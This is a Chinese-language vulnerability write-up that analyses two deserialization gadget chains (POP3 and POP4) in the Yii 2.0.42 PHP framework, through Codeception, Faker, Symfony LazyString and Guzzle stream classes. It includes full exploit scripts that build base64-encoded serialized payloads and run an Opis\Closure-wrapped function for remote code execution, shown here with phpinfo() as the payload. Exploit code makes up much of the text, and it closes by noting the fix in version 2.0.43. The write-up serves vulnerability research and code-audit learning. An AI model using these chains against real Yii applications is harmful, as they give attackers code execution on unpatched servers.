Yii2.0.42反序列化分析(二)
字数 904 2025-08-09 13:33:32
Yii2.0.42反序列化漏洞分析与利用
环境搭建
请参考前篇文档搭建Yii2.0.42环境,本文直接切入反序列化漏洞分析。
漏洞背景
Yii2.0.42存在多个反序列化利用链(POP链),主要通过魔术方法和特定类的组合实现RCE。本文分析两条不同的利用链(POP3和POP4)。
POP3利用链分析
利用链概览
RunProcess::__destruct()
-> UniqueGenerator::__call()
-> LazyString::__toString()
-> 动态函数调用实现RCE
关键点分析
- 入口点:
RunProcess类的__destruct方法触发反序列化流程 - 跳板:
UniqueGenerator类的__call魔术方法 - 利用点:
LazyString类的__toString方法中的动态函数调用
详细利用过程
-
RunProcess类:
namespace Codeception\Extension; use Faker\UniqueGenerator; class RunProcess { private $processes; public function __construct() { $this->processes = [new UniqueGenerator()]; } } -
UniqueGenerator类:
namespace Faker; use Symfony\Component\String\LazyString; use Faker\DefaultGenerator; class UniqueGenerator { protected $generator; protected $maxRetries; public function __construct() { $a = new LazyString(); $this->generator = new DefaultGenerator($a); $this->maxRetries = 2; } } -
LazyString类:
namespace Symfony\Component\String; use Codeception\Extension\RunProcess; class LazyString { private $value; public function __construct() { include("../test/closure/autoload.php"); $a = function(){phpinfo();}; $a = \Opis\Closure\serialize($a); $b = unserialize($a); $this->value = $b; } public function __toString() { // 关键利用点:动态函数调用 ($this->value)() return ($this->value)(); } }
绕过技巧
- 使用
Opis\Closure序列化匿名函数绕过is_string()检查 LazyString::__toString()中的($this->value)()实现动态函数调用
EXP代码
<?php
namespace Codeception\Extension;
use Faker\UniqueGenerator;
class RunProcess {
private $processes;
public function __construct() {
$this->processes = [new UniqueGenerator()];
}
}
namespace Faker;
use Symfony\Component\String\LazyString;
use Faker\DefaultGenerator;
class UniqueGenerator {
protected $generator;
protected $maxRetries;
public function __construct() {
$a = new LazyString();
$this->generator = new DefaultGenerator($a);
$this->maxRetries = 2;
}
}
namespace Faker;
class DefaultGenerator {
protected $default;
public function __construct($default = null) {
$this->default = $default;
}
}
namespace Symfony\Component\String;
use Codeception\Extension\RunProcess;
class LazyString {
private $value;
public function __construct() {
include("../test/closure/autoload.php");
$a = function(){phpinfo();};
$a = \Opis\Closure\serialize($a);
$b = unserialize($a);
$this->value = $b;
}
}
$a = new RunProcess();
echo base64_encode(serialize($a));
POP4利用链分析
利用链概览
RunProcess::__destruct()
-> DefaultGenerator::__toString()
-> AppendStream::rewind()
-> CachingStream::read()
-> PumpStream::pump()
-> 动态函数调用实现RCE
关键点分析
- 入口点:
RunProcess类的__destruct方法 - 跳板:
DefaultGenerator类的__toString魔术方法 - 利用点:
PumpStream类的pump方法中的动态函数调用
详细利用过程
-
RunProcess类:
namespace Codeception\Extension; use Faker\DefaultGenerator; use GuzzleHttp\Psr7\AppendStream; class RunProcess { protected $output; private $processes = []; public function __construct() { $this->processes[] = new DefaultGenerator(new AppendStream()); $this->output = new DefaultGenerator('joker'); } } -
AppendStream类:
namespace GuzzleHttp\Psr7; use Codeception\Extension\RunProcess; use Faker\DefaultGenerator; final class AppendStream { private $streams = []; private $seekable = true; public function __construct() { $this->streams[] = new CachingStream(); } } -
CachingStream类:
final class CachingStream { private $remoteStream; public function __construct() { $this->remoteStream = new DefaultGenerator(false); $this->stream = new PumpStream(); } } -
PumpStream类:
final class PumpStream { private $source; private $size = -10; private $buffer; public function __construct() { $this->buffer = new DefaultGenerator('j'); include("../test/closure/autoload.php"); $a = function(){phpinfo();}; $a = \Opis\Closure\serialize($a); $b = unserialize($a); $this->source = $b; } }
绕过技巧
- 通过控制
CachingStream的remoteStream属性绕过eof()检查 - 使用
Opis\Closure序列化匿名函数实现动态调用
EXP代码
<?php
namespace Codeception\Extension;
use Faker\DefaultGenerator;
use GuzzleHttp\Psr7\AppendStream;
class RunProcess {
protected $output;
private $processes = [];
public function __construct() {
$this->processes[] = new DefaultGenerator(new AppendStream());
$this->output = new DefaultGenerator('joker');
}
}
namespace Faker;
class DefaultGenerator {
protected $default;
public function __construct($default = null) {
$this->default = $default;
}
}
namespace GuzzleHttp\Psr7;
use Codeception\Extension\RunProcess;
use Faker\DefaultGenerator;
final class AppendStream {
private $streams = [];
private $seekable = true;
public function __construct() {
$this->streams[] = new CachingStream();
}
}
final class CachingStream {
private $remoteStream;
public function __construct() {
$this->remoteStream = new DefaultGenerator(false);
$this->stream = new PumpStream();
}
}
final class PumpStream {
private $source;
private $size = -10;
private $buffer;
public function __construct() {
$this->buffer = new DefaultGenerator('j');
include("../test/closure/autoload.php");
$a = function(){phpinfo();};
$a = \Opis\Closure\serialize($a);
$b = unserialize($a);
$this->source = $b;
}
}
$a = new RunProcess();
echo base64_encode(serialize($a));
修复方案
Yii2.0.43版本已经修复了这些反序列化漏洞,建议升级到最新版本。
总结
- 两条利用链都依赖于魔术方法的巧妙组合
- 关键点在于找到可控的返回值点
- 使用
Opis\Closure序列化匿名函数是实现RCE的核心技术 - 需要耐心分析类之间的调用关系和属性控制
通过分析这些利用链,可以加深对PHP反序列化漏洞的理解,提高代码审计能力。